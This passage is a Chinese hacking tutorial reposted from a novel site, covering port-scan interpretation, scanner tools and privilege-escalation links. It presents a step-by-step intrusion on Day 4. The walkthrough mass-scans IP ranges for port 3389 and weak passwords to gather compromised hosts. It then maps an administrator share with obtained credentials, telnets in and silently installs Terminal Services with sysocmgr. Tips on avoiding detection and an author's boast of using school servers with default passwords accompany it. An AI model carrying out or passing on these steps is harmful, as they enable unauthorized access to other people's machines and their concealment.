QIYE READING

开篇

《《30天打造专业红客》》

《30天打造专业红客》

作者:地獄之挽歌

声明:本书由请看小说网(www.qiyebooks.com)自网络收集整理制作,仅供交流学习使用,版权归原作者和出版社所有,如果喜欢,请支持订阅购买正版.

『第1天』何谓黑客?

何谓“黑客”

黑客是英文“HACKER”的音译。动词原形为“HACK”,意为“劈”、“砍”。英文词典是这样解释黑客行为:未经授权进入一个计算机的存储系统,如数据库。中文译成“黑客”贬义比英文原义似乎略重,有“未经允许”等不合法的含义。另一种说法是,HACK是本世纪早期麻省理工学院俚语,有“恶作剧”之意,尤其指手法巧妙,技术高明的恶作剧,并且带有反既有体制的色彩。

四代黑客铸就了网络

有人说,美国人创造了黑客,如同他们创造了牛仔。

本世纪60至70年代,一群大学计算机系教室里的知识分子利用“分时系统”技术把计算机主机变成了事实上的个人计算机,从而使更多的人有机会接触到计算机。这些人就是第一代黑客。当时做一名计算机黑客是一件很荣耀的事,它意味着对电脑的全身心的投入,虽然可能被外人视为疯狂之举。

70年代后期,第二代黑客领头人是大名鼎鼎的史蒂夫。乔布斯、史蒂夫、伍兹尼亚克和费尔森斯坦,发明并产生了个人计算机。他们都是非学术界的,属铁杆反文化的类型。作为坚定的反文化分子,他们使计算机王国的老大IBM颜面尽失。

80年代初出现的第三代黑客,为个人计算机设计了各种应用教育和娱乐程序。特别是米彻·凯普发明的LOTUS1 1-2-3电子报表程序促成了IBM PC的成功。

第四代黑客出现在80年代中期。他们发明了包罗万象的电子公告牌(BBS)和自由平等的以非层级方式连接的USENET,并且将美国国防部的阿帕网(ARPANET)改造成了今天的互联网络。

黑客的“道德准则”

互联网现在有上千万用户,平均年龄为30岁。很多人深信,就像个人计算机改变了80年代一样,互联网将改变90年代。

“想真正成为黑客,你必须真枪实弹去做黑客应该做的事情。”这是黑客的宣言,并且广告天下,他们声称:不要将你已破解的任何信息与人分享,除非此人绝对可以信赖。不在家庭电话中谈论你HACK的任何事情。当你发送相关信息的BBS时,对你当前所做的黑事尽可能说得含糊一些,以避免BBS受到警告。将你的黑客资料放在安全的地方。在BBS上POST文章的时候不要使用真名和真实的电话号码。如果你黑了某个系统,绝对不要留下任何蛛丝马迹。

显然,一些所谓的道德准则是需要打上一个引号的。但也确实有一些是较为人称道的。如:不要侵入或破坏政府机关的主机;不恶意破坏任何系统;不破化别人的软件或资料……

一切信息都应该是免费的

“一切信息都应该是免费的”。黑客们也有自己的伦理原则。他们深信,任何一个人都能在计算机上创造艺术与美,计算机能够使生活变得更美好。

黑客最重要的信条是不相信权威当局,提倡依*自己。他们把美国已故肯尼迪的话,“不要问你的国家能为你做些什么,要问你能为国家做些什么”改成了“不要问你的国家能为你做些什么,你自己做”。因此,他们中大多数人一改过去学术界蔑视商界的传统,半途辍学支办自己的公司。他们认为信息应该是免费的信息创造了“免费软件”和“共享软件”的概念,使得每个需要这些软件的人都可以得到它们。

坚持“三项基本原则”

国外《PHRACK》杂志被认为是黑客的“官方”新闻通讯,它把黑客的思想扩展成一些基本原则,被概括为一些基本原则。主要内容为“因为设备的高代价超出了大多数黑客的财力,它在感觉上造成的结果是,劈和砍是把计算机知识传给大众的唯一办法”。黑客们坚决反对“权利”只属于那些有权进入和使用现代技术的群体。

基于上述的分析来看,要认识黑客的确不是一件容易的事。不过我们似乎已经明白,黑客不应该总在贬义上被使用。而是应该记住雨果、康沃尔在《黑客手册》一书说的话:“黑客活动的乐趣和报偿纯粹是智力上的”,他们“不过沿袭了一个长期的历史传统,人类社会中,总有那么一批人对机器和技术着迷,他们使用技术时抱着一种嬉戏的态度,以观察会有什么结果发生”。

还有我希望提醒大家严格遵守守则,另外中国的法律在健全,请不要随意做破坏网络的事。

『第2天』从端口说起

有些端口是比较重要的比如135,137,138,139,445之类,那我扫描到的端口到底有什么用?我想你肯定要问,这样今天,我就用一个真实的扫描向你讲述扫到的端口的用途。

被扫的主机:192.***.xx.x

主机IP数:4

发现的安全漏洞:7个

安全弱点:45个

系统: Standard: Solaris 2.x, Linux 2.1.???, Linux 2.2, MacOS

Telnet (23/tcp)

ssh (22/tcp)

ftp (21/tcp) (发现安全漏洞)

netstat (15/tcp)

daytime (13/tcp)

systat (11/tcp)

echo (7/tcp)

time (37/tcp)

smtp (25/tcp)

www (80/tcp) (发现安全漏洞)

finger (79/tcp)

auth (113/tcp)

sunrpc (111/tcp)

pop-2 (109/tcp)

linuxconf (98/tcp)

imap2 (143/tcp)

printer (515/tcp)

shell (514/tcp)

login (513/tcp)

exec (512/tcp)

unknown (693/tcp)

unknown (698/tcp)

unknown (727/tcp)

swat (910/tcp)

unknown (1025/tcp)

unknown (1039/tcp)

unknown (1038/tcp)

unknown (1037/tcp)

unknown (1035/tcp)

unknown (1034/tcp)

unknown (3001/tcp)

unknown (6000/tcp)

echo (7/udp)

general/tcp

daytime (13/udp)

unknown (728/udp) (发现安全漏洞)

unknown (2049/udp)

unknown (681/udp)

unknown (2049/tcp)(发现安全漏洞)

可用telnet登录的端口 (23/tcp)

这个信息表明远程登录服务正在运行,在这里你可以远程登录到该主机,这种不用密码的远程登录服务是危险的,如果可以匿名登录,任何人可以在服务器和客户端之间发送数据。

发现的可攻击弱点 (21/tcp)

我在那里发现了一个目录是可写的:

/incoming

ftp端口 (21/tcp)

ftp服务TELNET服务一样,是可以匿名登录的,而且在有的机器上它还允许你执行远程命令,比如CWD ~XXXX,如果你能CWD ROOT成功,那你就可以获得最高权限了,不过这样的好事好像不多。另外,有时还能用它获得一个可用的帐号(guest),或得知主机在运行什么系统

13/tcP(daytime)

从这里可以得知服务器在全天候运行,这样就有助于一个入侵者有足够的时间获取该主机运行的系统,再加上udp也在全天候的运行,这样可以使入侵者通过UDP欺骗达到主机拒绝服务的目的

ECHO(7/tcp)

这个端口现在没什么用处,但它可能成为一个问题的来源,顺着它有可能找到其它端口以达到拒绝服务的目的。

(25/tcp)smtp端口

该端口开放邮件传输协议

回应可执行EXPN和VRFY命令

EXPN可以发现发送邮件的名称或者能找到一个完整的邮件接收人的名称。

VRFY命令可以用来检测一个帐号的合法性

我们可以试着发这样一个类型的邮件给它:

user@hostname1@victim

我们会收到一个这样的邮件:

user@hostname1

也许我们就能用它穿过防火墙

WWW(80/TCP)端口

它表明WWW服务在该端口运行

finger (79/tcp) 端口

finger服务对入侵者来说是一个非常有用的信息,从它可以获得用户信息,查看机器的运行情况等

auth (113/tcp)

ident服务披露给入侵者的将是较敏感的信息,从它可以得知哪个帐号运行的是什么样的服务,这将有助于入侵者集中精力去获取最有用的帐号(也就是哪些人拥有ROOT权限)

(98/tcp) LINUX在这个端口上运行

(513/tcp) RLOGIN在这个端口上运行

这种服务形同于TELNET,任何人可以在它的引导下在客户端和服务端之间传送数据。

exec (512/tcp)

rexecd在该端口开放,该服务使一个破译者有机会从它那里扫描到另外一个IP,或者利用它穿过防火墙。

也许你还能发现很多端口,不同的端口会有不同的作用

我最喜欢开135端口的,我们学校的几个FTP和主机都开了135端口,还用默认密码(不知道是为什么,我想主要是管理员考虑我们找不到肉鸡了『都2004年了,肉鸡很难找的,因为各位大侠都用着呢』,所以特地给我们准备好了),把我高兴的几天都没睡好,可惜里面没什么东西。只能当空间用着了。不过我们学校的主机大都用的是UNIX的,不是瘟二钱的,所以也让人有点郁闷啊,UNIX有点复杂,我只得从0学,还有点难,我会在后面讲到的,现在我们主要是关注WIN2000操作系统的主机了,说到这不能不提一下WIN2K源代码的泄漏,兄弟我在第一时间拿到了这个泄漏的源代码,有230M,还真多,看了一个晚上,也不怎么了解,反正有的是时间,先贴一段,大家瞧瞧,有看懂的,就不用来这看这了,呵呵

贴在网络技术里了

至于软件方面我喜欢用流光(有些人或许不知道这是什么),是扫描器,很好用,是国产的,就是前面访问的小容做的,但他在里面设置了限制不许PING国内的主机,但好多大哥早就破掉了(感觉很幸福啊,不用自己破了),现在的最高版本好像是流光5.0吧,到GOOGLE 上搜一下就能找到N个,我就不说了(要提高动手能力嘛)

下面我来介绍几种常见的扫描器:

一。NSS(网络安全扫描器)

NSS由Perl语言编成,它最根本的价值在于它的速度,它运行速度非常快,它可以执行下列常规检查:

■Sendmail

■匿名FTP

■NFS出口

■TFTP

■Hosts.equiv

■Xhost

注:除非你拥有最高特权,否则NSS不允许你执行Hosts.equiv。

利用NSS,用户可以增加更强大的功能,其中包括:

■AppleTalk扫描

■Novell扫描

■LAN管理员扫描

■可扫描子网

简单地说,NSS执行的进程包括:

■取得指定域的列表或报告,该域原本不存在这类列表

■用Ping命令确定指定主机是否是活性的

■扫描目标主机的端口

■报告指定地址的漏洞

尽管没有详尽讨论NSS,但我在这里要说明一些次要的问题:

■在对NSS进行解压缩后,不能立即运行NSS,需要对它进行一些修改,必须设置一些环境变量,以适应你的机器配置。主要变量包括:

■$TmpDir_NSS使用的临时目录

■$YPX-ypx应用程序的目录

■$PING_可执行的ping命令的目录

■$XWININFO_xwininfo的目录

提示:如果你隐藏了Perl include目录(目录中有Perl include文件),并且在PATH环境变量中没有包含该目录,你需要加上这个目录;同时,用户应该注意NSS需要ftplib.pl库函数。NSS具有并行能力,可以在许多工作站之间进行分布式扫描。而且,它可以使进程分支。在资源有限的机器上运行NSS(或未经允许运行NSS)应该避免这种情况,在代码中有这方面的选项设置。

你可在下面地址找到NSS拷贝。 http://www.giga.or.at/pub/hacker/unix

二。Strobe(超级优化TCP端口检测程序)

strobe是一个TCP端口扫描器,它可以记录指定机器的所有开放端口。strobe运行速度快(其作者声称在适中的时间内,便可扫描整个一个国家的机器)。

strobe的主要特点是,它能快速识别指定机器上正在运行什么服务。strobe的主要不足是这类信息是很有限的,一次strobe攻击充其量可以提供给“入侵者”一个粗略的指南,告诉什么服务可以被攻击。但是,strobe用扩展的行命令选项弥补了这个不足。比如,在用大量指定端口扫描主机时,你可以禁止所有重复的端口描述。(仅打印首次端口定义)其他选项包括:

■定义起始和终止端口

■定义在多长时间内接收不到端口或主机响应,便终止这次扫描。

■定义使用的socket号码

■定义strobe要捕捉的目标主机的文件

提示:在你获得strobe的同时,必然获得手册页面,这对于Solaris 2.3是一个明显的问题,为了防止发生问题,你必须禁止使用getpeername()。在行命令中加入-g 标志就可以实现这一目的。

同时,尽管strobe没有对远程主机进行广泛测试,但它留下的痕迹与早期的ISS一样明显,被strobe扫描过的主机会知道这一切(这非常象在/var/adm/messages文件中执行连接请求)。

三。SATAN(安全管理员的网络分析工具)

SATAN是为UNIX设计的,它主要是用C和Perl语言编写的(为了用户界面的友好性,还用了一些HTML技术)。它能在许多类UNIX平台上运行,有些根本不需要移植,而在其他平台上也只是略作移植。

注意:在Linux上运行SATAN有一个特殊问题,应用于原系统的某些规则在Linus平台上会引起系统失效的致命缺陷;在tcp-scan模块中实现select()调用也会产生问题;最后要说的是,如果用户扫描一个完整子网,则会引进反向fping爆炸,也即套接字(socket)缓冲溢出。但是,有一个站点不但包含了用于Linux的、改进的SATAN二进制代码,还包含了diff文件,这些条款可以在ftp.lod.com

上发现,或者可以直接从Sun站点(sunsite.unc.edu)取得diff文件:

/pub/linux/system/network/admin/satan-linux.1.1.1.diff.gz

SATAN用于扫描远程主机的许多已知的漏洞,其中包括,但并不限于下列这些漏洞:

■FTPD脆弱性和可写的FTP目录

■NFS脆弱性

■NIS脆弱性

■RSH脆弱性

■Sendmail

■X服务器脆弱性

你可在下面地址中获得SATAN的拷贝: http://www.fish.com

安装过程

SATAN的安装和其他应用程序一样,每个平台上的SATAN目录可能略有不同,但一般都是/satan-1.1.1。安装的第一步(在阅读了使用文档说明后)是运行Perl程序reconfig。这个程序搜索各种不同的组成成分,并定义目录路径。如果它不能找到或定义一个浏览器。则运行失败,那些把浏览器安装在非标准目录中(并且没有在PATH中进行设置)的用户将不得不手工进行设置。同样,那些没有用DNS(未在自己机器上运行DNS)的用户也必须在/satan-1.1.1/conf/satan.cf中进行下列设置:$dont_use_nslookuo=1;在解决了全部路径问题后,用户可以在分布式系统上运行安装程序(IRIX或SunOS),我建议要非常仔细地观察编译,以找出错误。

提示:SATAN比一般扫描器需要更多一些的资源,尤其是在内存和处理器功能方面要求更高一些。如果你在运行SATAN时速度很慢,可以尝试几种解决办法。最直接的办法就是扩大内存和提高处理器能力,但是,如果这种办法不行,我建议用下面两种方法:一是尽可能地删除其他进程;二是把你一次扫描主机的数量限制在100台以下。最后说明的一点是,对于没有强大的视频支持或内存资源有限的主机,SATAN有一个行命令接口,这一点很重要。

四。Jakal

Jakal是一个秘密扫描器,也就是就,它可以扫描一个区域(在防火墙后面),而不留下任何痕迹。

秘密扫描器工作时会产生“半扫描”(half scans),它启动(但从不完成)与目标主机的SYN/ACK过程。从根本上讲,秘密扫描器绕过了防火墙,并且避开了端口扫描探测器,识别出在防火墙后面运行的是什么服务。(这里包括了像Courtney和GAbriel这样的精制扫描探测器)

在下面地址中可以找到由Half life,Jeff(PhiJi)Fay和Abdullah Marahie编写的Jakal拷贝: http://www.giga.or.at.pub/hacker/unix

⑸IdentTCPscan

IdentTCPscan是一个更加专业化的扫描器,其中加入了识别指定TCP端口进程的所有者的功能,也就是说,它能测定该进程的UID。

五.CONNECT

CONNECT是一个bin/sh程序,它的用途是扫描TFTP服务子网

六。FSPScan

FSPScan用于扫描FSP服务顺。FSP代表文件服务协议,是非常类似于FTP的Internet协议。它提供匿名文件传输,并且据说具有网络过载保护功能(比如,FSP从来不分*)。FSP最知名的安全特性可能就是它记录所有到来用户的主机名,这被认为优于FTP,因为FTP仅要求用户的E-mail地址(而实际上根本没有进行记录)。FSP相当流行,现在为Windows 和OS/2开发了GUI客户程序

七。XSCAN

XSCAN扫描具有X服务器弱点的子网(或主机)。乍一看,这似乎并不太重要,毕竟其他多数扫描器都能做同样的工作。然而,XSCAN包括了一个增加的功能:如果它找到了一个脆弱的目标,它会立即加入记录。

XSCAN的其他优点还包括:可以一次扫描多台主机。这些主机可以在行命令中作为变量键入(并且你可以通过混合匹配同时指定

[第3天]继续讲扫描

怎么得到shell呢?这很关键,有很多方法:典型的例子是telnet。得到shell的办法有很多种,比如通过系统自带的telnet,终端服务。或者用木马和工具提供的,如winshell,冰河等等。说到冰河我不想说那么多没有篇文章很好大家看一下:http://978229.myrice.com/tty/Preview.htm#MAILLISTDOC19

得到shell后,不是所有权限都会开的,得到管理员权限当然是我们的梦想了。所以有时会有提升权限的问题。当然这也是利用了漏洞。

Win2K 提升权限漏洞

http://www.yesky.com/20010530/182273.shtml ;

Microsoft SQL Server Webtasks权限提升漏洞 http://www.mhdn.net/se/2002-11-08/6386.html

Linux kernel ptrace提升权限漏洞 http://www.softhouse.com.cn/docs/southpark2169.html

IIS提升权限漏洞

http://moon-soft.com/e_commerce/soft/doc/readelite572760.htm

当然这些漏洞大都有补丁可下了,如果管理员勤快的话就不好了,不过很多人都很马虎的,我认识个管理员是一个高校的,用的是win2000竟从不打补丁,理由是俺用的是D版的,打补丁恐怕会冲系统啊(有道理啊)

觉得讲shell还不透彻(有朋友发短信问我了),我查了一下资料:

Shell是什么?

任何发明都具有供用户使用的界面。UNIX供用户使用的界面就是Shell(DOS的command熟悉吧,但UNIX的要强大的多)。 Shell为用户提供了输入命令和参数并可得到命令执行结果的环境。形象点就是:dos中的command.com就是一种shell程序

[第4天]从终端服务3389讲起

昨天我们讲到了提升权限的问题,好现在我们就来说一个简单的入侵,从3389找个肉鸡(没有肉鸡的话,对自己的技术提高是没好处的,不能老是看却不练啊,陈同学你说对吗?)

请各位注意,我这里并不是说什么烂鬼输入法漏洞。这种漏洞差不多已经绝迹了,太难找了,如果有人找到了,那恭喜你啦。众所周知,有开3389的一般都是服务器,也就是说有很大可能带局域网的,而内部入侵比外部要方便一点,这对大家是很好的,我想看我这个东西的很多都是学生吧(声明我就个学生哦)。如何能快速方便的得到开了终端的肉机呢?这需要用到两个工具,都是扫描工具来的,scanner3.0和焦点的xscan。打开scanner,输入一段IP,范围要大一点,scanner速度很快的。在“所有端口从”那里都填3389,点击“开始”就可以开工了。

很快的,扫描完成,结果出来了。点击右下脚的“删除”把多余的IP删了,只留下开了3389的IP。再点击“保存”,把结果保存到文件夹里。找到保存文件的目录,打开它。用记事本的替换功能把它保存为一个纯IP的TXT文件。“编辑-替换”在“查找内容”里输入要删除的垃圾,再点“全部替换”就行了。打开xscan,点击左边的蓝色按钮,进入“扫描板块”,只需在“SQL-Server弱口令”“NT-Server弱口令”前打钩,其他都清除掉。再点击右边的蓝色按钮,进入“扫描参数”,钩上“从文件获取主机列表”,打开刚才替换成纯IP的TXT文件,确定之后就可以扫描了。这时需要比较长的时间!(注意我是拿3.0为例的,其他的也差不多)。确定目标,用mstsc(登陆终端的工具,这个我不喜欢用,但确实很容易上手的)登陆对方主机后,打开对方cmd.exe,输入“net use”,先看看有没有人也在连接这部机(安全一点好,毕竟不是在学雷峰啊)。“net view”命令之后当出现一堆前面带\\字符的就表示~~就表示什么呢??我想大家都非常明白吧!,如果不明白的话,我。。(也不知道怎么说了 )

想做个补充

发现很多朋友对什么叫终端服务有点模糊

好,我们就详细说说 毕竟这个概念很重要的

终端服务提供了通过作为终端仿真器工作的“瘦客户机”软件远程访问服务器桌面的能力。终端服务只把该程序的用户界面传给客户机。客户机然后返回键盘和鼠标单击动作,以便由服务器处理。每个用户都只能登录并看到它们自己的会话,这些会话由服务器操作系统透明地进行管理,而且与任何其他客户机会话无关。客户软件可以运行在多个客户机硬件设备上,包括计算机和基于 Windows 的终端。其他设备,如 Macintosh 计算机或基于 UNIX 的工作站,也可以使用其他第三方的软件连接到终端服务器。

终端服务可以在应用服务器模式或远程管理模式下在服务器上进行配置。作为应用服务器,终端服务提供了一种有效而可*的方式,通过网络服务器分发基于 Windows 的程序。在应用服务器模式下,终端服务为可能无法正常运行 Windows 的计算机显示 Windows 2000 的桌面以及目前基于 Windows 的大多数应用程序。在远程管理模式下使用时,终端服务提供了远程访问的能力,使您可以从网络上的任何地方虚拟地管理您的服务器。

终端服务有以下好处:

更快地显示 Windows 2000 的桌面。终端服务架设了一座从旧式桌面迁移到 Windows 2000 Professional 的桥梁,为非计算机桌面以及需要进行硬件升级才能在本地完全运行 Windows 2000 操作系统的计算机提供了一种虚拟的 Windows 2000 桌面环境。终端服务客户可用于多种不同的桌面平台,包括 MS-DOS、基于 Windows 的终端、Macintosh 和 UNIX。(与 MS-DOS、Macintosh 和基于 UNIX 的计算机的连接需要附加的软件)。

充分利用已有的硬件。终端服务扩展了分布式计算模型,允许计算机同时作为瘦客户机和具有完整功能的个人计算机操作。当计算机在现有的网络上时,可以继续使用,同时也可作为能仿真 Windows 2000 Professional 桌面的瘦客户机使用。

程序的集中配置。使用运行在 Windows 2000 Server 上的终端服务,所有程序的执行、数据的处理以及数据的存储都在服务器上进行,程序得以集中配置。终端服务可确保所有客户机都能访问当前版本的程序。软件只能在服务器上安装一次,而不能安装在您单位的每个桌面上,这样可减少单独更新计算机所花费的成本。

远程管理。终端服务提供了对 Windows 2000 Server 的远程管理,为系统管理员提供了从任何客户机通过广域网或拨号连接远程管理其服务器的一种方法。

功能:

易于使用

可管理性

安全性

易于使用

功能 说明 详细信息,请参阅:

自动的本地打印机支持 Windows 2000 Server 终端服务可以添加并自动重新连接终端服务客户所连接的打印机。 提供对本地打印机的客户访问

剪贴板重定向 现在,用户可以在运行于本地计算机和终端服务器上的程序之间剪切和粘贴。 共享的剪贴板

性能增强 对缓存功能的增强,包括持久性缓存、数据包的利用和数据帧大小,明显地改进了终端服务的性能。 位图缓存

漫游式断开连接支持 此功能使用户不用注销即可从会话中断开连接。在断开时会话仍可保持活动状态,这使得用户可以从另一台计算机中或在稍后某个时间重新连接到现有会话。重新连接需要登录,以便在任何时候都能保证每个会话的安全性。 注销或断开连接

多登录支持 用户可以登录到多个会话,同时从一个或多个客户机到多个 Windows 2000 Server,或者多次登录到一个服务器。这样,用户就可以同时执行多项任务或运行多个单独的桌面会话。 管理用户和客户机

可管理性

功能 说明 详细信息,请参阅:

会话远程控制 支持者可查看或控制另一终端服务会话。键盘输入、鼠标移动以及图形显示可在两个终端服务会话之间共享,为支持者提供了诊断和解决配置问题以及远程培训用户的能力。此功能对于带有分支机构的单位特别有用。 远程控制

网络负载平衡 网络负载平衡使终端服务客户可连接到运行终端服务的服务器组中最轻闲的成员。 网络负载平衡和终端服务 (请看小说网|qinkan.net)

基于 Windows 的终端 根据 Windows CE 操作系统和远程桌面协议 (RDP) 的自定义实现,不同的制造商可提供基于 Windows 的终端。

客户连接管理器 管理员和用户可以为一个程序或全部桌面访问建立到服务器的预定义连接。客户连接管理器在客户机桌面上创建图标,以便能通过一次单击连接到一个或多个终端服务器。想在计算环境中提供单个程序的管理员可以创建连接并将该连接与终端服务客户软件一同分发。 管理终端服务用户连接

终端服务授权 终端服务授权帮助系统管理员和采购部门跟踪客户机及其相关许可证。 授权终端服务

分布式文件系统 (DFS) 支持 对分布式文件系统 (DFS) 的支持使用户可以连接到 DFS 共享位置,而且使管理员可以从终端服务器主控 DFS 共享。 分布式文件系统概述

终端服务管理器 管理员可以使用终端服务管理器查询和管理 Windows 2000 Server 上的终端服务会话、用户和进程。 管理终端服务

终端服务配置 终端服务连接配置可用于创建、修改和删除 Windows 2000 Server 上的一个或一组会话并访问服务器设置。 配置终端服务

与 Windows 2000 Server“本地用户和组”以及“Active Directory 用户和计算机”的集成 管理员可以按照为 Windows 2000 Server 用户创建帐户的相同方式为终端服务用户创建帐户。另有一些字段可用来指定终端服务专用信息,如终端服务配置文件路径和主目录。 终端服务用户帐户

与 Windows 2000 Server 系统监视器的集成 与 Windows 2000 Server 系统监视器的集成使管理员可以监视器终端服务系统性能,包括跟踪处理器的使用情况、内存分配和分页内存使用情况,并在每个用户的会话之间交换。 性能监视

消息传递支持 管理员可以就一些重要的信息警告用户,如系统关机、升级或新程序。 使用终端服务管理器

远程管理 具有管理级特权而且可访问终端服务管理级实用程序的任何用户都可以远程管理运行终端服务的服务器的各方面工作。

可配置的会话超时设置 管理员可以通过配置会话超时来减少服务器资源的使用。管理员可以指定活动会话的长度以及会话可在服务器上闲置多长时间 配置会话限制

安全性

功能 说明 详细信息,请参阅:

加密 多级加密使管理员可以根据安全性需要在三种不同级别(低级、中级或高级)上加密在 Windows 2000 Server 和终端服务客户之间传输的所有或部分数据。另外,终端服务登录过程包括更改密码、桌面解锁以及屏幕保护功能解锁。登录过程是加密的,以确保用户名称和密码的安全传输。终端服务支持在服务器和客户机之间的 40 位和 128 位加密(128 位加密只能在美国和加拿大使用)。 确定加密的级别

限制登录尝试和连接时间 管理员可以限制用户登录尝试次数,以防止有人未授权访问服务器。另外,个别用户或分组用户的连接时间可以进行限制。 配置终端服务

终端服务配置概述

终端服务连接提供了客户机可用于登录到服务器上某个会话的链接。TCP/IP 连接是当终端服务在 Windows 2000 Server 上启用时自动配置的。使用终端服务配置,您可以更改连接的默认属性或添加新连接。

终端服务配置

打开终端服务配置时,您将会看到已经配置的连接。这称为 RDP-TCP 连接。通常,这只是需要为使用终端服务器的客户配置的连接。对于终端服务器,只能为每个网卡配置一个 RDP(远程桌面协议)连接。如果要配置其他的 RDP 连接,您必须安装附加的网卡。

使用终端服务配置,您可以重新配置 RDP-TCP 连接的属性,包括限制客户机会话在服务器上保持活动状态的时间、设置加密的保护级别以及选择您希望用户和组具备的权限。某些连接属性也可以使用“本地用户和组”的终端服务扩展程序在每用户基础上配置。例如,当您使用“本地用户和组”的终端服务扩展程序时,可以为每个用户设置不同会话期限。使用终端服务配置,您可以只在每连接基础上设置会话期限,这意味着相同期限将应用于使用连接登录到服务器的所有用户。

除配置连接以外,您可以使用“终端服务配置”功能配置可应用于终端服务器的设置。包括临时文件夹的设置、默认连接安全性以及启用/禁用 Internet 连接器许可。详细信息,请参阅配置服务器设置。

基于 Citrix CA 的客户机

终端服务配置还用于为基于 Citrix CA 的客户机配置连接。当 Citrix CA 协议和基于 Citrix CA 的客户软件添加到该系统时,可以使用 TCP/IP、同步、IPX/SPX 或 NetBIOS 传输协议配置这些连接

有很多朋友问怎么开启3389终端服务下面我们一起来探索一下远程开启3389的方法. 首先我们应该了解3389终端服务,可以运行在什么系统下,个人了解,终端服务在M$的大部分

产品中都可运行,如:winnt4/win2000server/win2000ADV-server/win2000DS/XP等.

但winnt4中是需要单独购买的,2000专业版不能远程安装终端服务的,至少我没成功过.

我们在以下的探索中,是以win2000server和高级server为例的.(现在用的也最多).

现在开始. 假设我们拿到了一个主机的管理员帐户和密码.

主机: 192.168.0.1

帐号: administrator

密码: 7788

2000系统安装在c:\winnt下

从上面的的介绍可以知道,2000专业版是不可以远程安装终端服务的,那我们就要首先来

判断此主机是专业版还是服务器版,才能进入下一个环节. 我们可以先用对方所开帐户判断: c:\>letmein \\192.168.0.1 -all -d

stating connecting to server ...

Server local time is: 2002-1-13 10:19:22

Start get all users FORM server...

--------------------------

Total = 5

--------------------------

num0= Administrator ()

num1= Guest ()

num2= IUSR_servername (Internet 来宾帐号 )

num3= IWAM_servername (启动 IIS 进程帐号)

num4= TsInternetUser (TsInternetUser)

--------------------------

Total = 5

-------------------------- 一般情况num2/3/4这三个帐户都是2000server默认开启的.

2000专业版默认是不开这些帐户的. 我们也可以扫描对方开放的端口进一步确认:

用扫描软件如:superscan3.exe扫描对方所开端口

判断对方是否开启25,3372等2000server默认开启的端口. 当然我们还可以使用一些工具,如:cmdinfo.zip

这2个东东可以获得本地或远程NT/2K主机的版本,系统路径,源盘路径,PACK版本,安装时间等一

系列信息,一个图形界面,一个命令行.

通过返回的信息就可以很清楚的了解对方主机情况. 还有一些其他的方法来判断,如:从对方所开的服务来确定等,

从上面的判断准确率还算高,别的就不一一说明了.

如果你在以上步骤里发现对方主机并没有那3个帐户,默认端口也没开,

或cmdinfo返回的信息对方是2000专业版,你就要放弃安装3389的计划了.

现在我们要进入下一环节:

判断终端服务到底有没有安装? 你也许要问:为什么还要判断啊?我扫描没有发现3389端口啊

这里就需要解释一下,如果装了终端服务组件,可能有哪几种情况扫描不到3389端口?

1.终端服务termservice在"管理工具">>>"服务"中被禁用.

2.终端服务连接所需的RDP协议在"管理工具">>>"终端服务配置"中被停用连接.

3.终端服务默认连接端口3389被人为的改变.如何改变请看修改终端服务默认的3389端口

4.终端服务绑定的网络适配器不是外网的.

5.防火墙和端口过滤之类的问题.

6.....(还有我没想到的)

其实,我们遇到最多的情况就是以上5种情况. 现在开始判组件是否被安装. 先与远程主机连接,映射远程主机C盘为本地Z盘

net use z: \\192.168.0.1\c$ "7788" /user:"administrator"

命令成功完成。 然后转到Z盘,检查

Z:\Documents and Settings\All Users\「开始」菜单\程序\管理工具>

里是否有 "终端服务管理器"和"终端服务配置"的快捷方式文件

如有已安装服务组件的会有,反之,没有(98% 人为故意删的可能性较小)

我们还可以在下一步telnet到对方主机后使用终端服务自带的命令进一步的核实. 判断完毕,对方好像是没有安装终端服务组件,可以进入下一步:

telnet登陆对方主机,准备安装服务组件. 在这里,我强烈建议使用2000自带的telnet服务端登陆,

有回显,不容易出错.个人感觉使用它,一次成功的比例高很多.(呵呵~,个人理解啊!)

就算没有开,打开用完后再关掉就完了.

.abu.写的最快速登录WIN2K TELNET 服务已经把这个方法介绍的非常详细,

而且他的办法(在本机建立同名,同密码帐户),让快速实现telnet登陆成为现实. 假如我们已开启对方23端口,

telnet 192.168.0.1

输入用户名/密码

*===============================================================

欢迎使用 Microsoft Telnet 服务器。

*===============================================================

C:\>

\\成功进入!!!! 进入后,再次检查终端组件是否安装:

c:\>query user

这个工具需要安装终端服务. 这样就进一步确定了组件没有被安装.如果返回:

USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME

>w1 console 0 运行中 . 2002-1-12 22:5

\\类似这样的信息,可能组件就已安装. 好!都清楚了,可以开始安装了.

---------------------------------------------------

C:\>dir c:\sysoc.inf /s //检查INF文件的位置

c:\WINNT\inf 的目录 2000-01-10 20:00 3,770 sysoc.inf

1 个文件 3,770 字节

-----------------------------------------------------

C:\> dir c:\sysocmgr.* /s //检查组件安装程序

c:\WINNT\system32 的目录 2000-01-10 20:00 42,768 sysocmgr.exe

1 个文件 42,768 字节

-----------------------------------------------------

c:\>echo [Components] > c:\wawa

c:\>echo TSEnable = on >> c:\wawa

//这是建立无人参与的安装参数

c:\>type c:\wawa

[Components]

TSEnable = on

//检查参数文件

------------------------------------------------------

c:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\wawa /q

-----------------------------------------------------

这一条就是真正安装组件的命令.

以上这条命令没有加/R参数,主机在安装完后自动重起.

如若加了/R参数主机就不会重起. 如果一切正常的话,几分钟后对方主机将会离线,当它重新回来时,

3389终端服务就已经开启.你就可以连上去了. 问题和建议: A 在安装过程中,不使用/R,有时主机也不会重起,你就要手动重起他,但在使用诸如:iisreset /reboot命令时,对方

的屏幕会出现个对话框,写着谁引起的这次启动,离重起还有多少秒. B 一次不行可以再试一次,在实际中很有作用. C 在输入sysocmgr命令开始安装时,一定不要把命令参数输错,那会在对方出现一个大的对话框,是sysocmgr的帮助,很是显眼,

而且要求确定.在你的屏幕上是不会有任何反应的,你不会知道出错,所以会有B的建议.

好了以后你就想干什么就干什么了。不过有时候还真不知道干什么,总之得干个事,装个什么局域网控制软件,不过不要体积太大,容易被发现。

超强 C 语言代码,你有信心看懂吗?

刚刚说有输入法漏洞的机子很少了,但有些朋友担心还有怎么办,不是吃大亏了吗?这样我找了一篇写的不错的文章贴一下( 注意是转载)写的不错,据说是新写的,这位大哥也真闲啊

WIN2000中文简体版存在的输入法漏洞,可以使本地用户绕过身分验证机制进入系统内部。经实验,WIN2000中文简体版的终端服务,在远程操作时仍然存在这一漏洞,而且危害更大。

